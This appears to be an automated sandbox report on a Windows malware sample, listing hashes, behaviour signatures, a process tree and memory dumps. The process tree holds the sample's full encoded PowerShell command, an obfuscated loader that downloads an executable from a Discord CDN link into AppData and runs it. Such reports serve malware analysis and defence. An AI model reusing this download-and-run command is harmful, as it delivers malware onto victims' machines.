Analysis
-
max time kernel
31s -
max time network
33s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
-
submitted
26-12-2022 21:05
General
-
Target
1.exe
-
Size
5KB
-
MD5
0afa034595bdcf7b9b990b083910f7a5
-
SHA1
9c9d01227016d43458c7567612a64f88df84c787
-
SHA256
c6dd505d02069b6b0452f51c165db53fbb6b80b4b48de19c083ab22ef98b2158
-
SHA512
4753057e45f2f03f9cab56f3b7864d2d3455f2549ebb7e6c9fcc8680f8a9e38568026e72694cebf288f3e63fc180b08e5d0fad0f3b1a74e5dc88612d4db6544a
-
SSDEEP
96:RF79kEll3VI29zS6hENISXX8z/n3xuscvHd3ojbrl:79kE/332NISH8z/n3QXHd0
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\1.exe"C:\Users\Admin\AppData\Local\Temp\1.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAaQBrACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADUANgA2ADUAMwAxADYANAAwADgAOAAxADMAOQA4ADEANwAvADEAMAA1ADYANgA1ADMANwAxADQAMQAzADcANQA1ADUAMAAwADQALwBDAFIALgBlAHgAZQAnACwAIAA8ACMAbgBsAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBnAHcAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAHIAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApACkAPAAjAGcAZABoACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHoAbABqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB3AGYAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApADwAIwB6AGgAdgAjAD4A"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/568-56-0x0000000000000000-mapping.dmp
-
memory/568-58-0x000007FEF3940000-0x000007FEF4363000-memory.dmpFilesize
10.1MB
-
memory/568-60-0x00000000023C4000-0x00000000023C7000-memory.dmpFilesize
12KB
-
memory/568-59-0x000007FEF2DE0000-0x000007FEF393D000-memory.dmpFilesize
11.4MB
-
memory/568-61-0x00000000023CB000-0x00000000023EA000-memory.dmpFilesize
124KB
-
memory/568-62-0x00000000023C4000-0x00000000023C7000-memory.dmpFilesize
12KB
-
memory/568-63-0x00000000023CB000-0x00000000023EA000-memory.dmpFilesize
124KB
-
memory/948-54-0x0000000001090000-0x0000000001098000-memory.dmpFilesize
32KB
-
memory/948-55-0x000007FEFBDD1000-0x000007FEFBDD3000-memory.dmpFilesize
8KB